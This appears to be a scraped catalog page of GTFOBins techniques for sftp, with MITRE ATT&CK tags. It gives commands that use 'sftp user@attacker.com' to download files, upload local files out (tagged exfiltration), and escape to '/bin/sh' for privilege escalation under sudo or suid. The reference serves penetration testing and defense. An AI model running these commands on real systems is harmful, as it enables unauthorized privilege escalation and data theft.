Catalog GTFOBins

GTFO · Tool

sftp

9 techniques Linux · macOSGTFOBins GPL-3.0
download
File DownloadPrivilege Escalation LinuxmacOS
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
Context
sudo
Native
download
MITRE
T1105
download
File DownloadPrivilege Escalation LinuxmacOS
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
Context
suid
Native
download
MITRE
T1105
download
File Download LinuxmacOS
sftp user@attacker.com
get /path/to/input-file /path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105
shell
ExecutionPrivilege Escalation LinuxmacOS

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation LinuxmacOS

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh
Context
suid
Native
shell
MITRE
T1059
shell
Execution LinuxmacOS

This still requires a successfull connection to the server.

sftp user@attacker.com
!/bin/sh
Context
unprivileged
Native
shell
MITRE
T1059
upload
File UploadPrivilege Escalation LinuxmacOS
sftp user@attacker.com
put /path/to/input-file /path/to/output-file
Context
sudo
Native
upload
MITRE
T1041
upload
File UploadPrivilege Escalation LinuxmacOS
sftp user@attacker.com
put /path/to/input-file /path/to/output-file
Context
suid
Native
upload
MITRE
T1041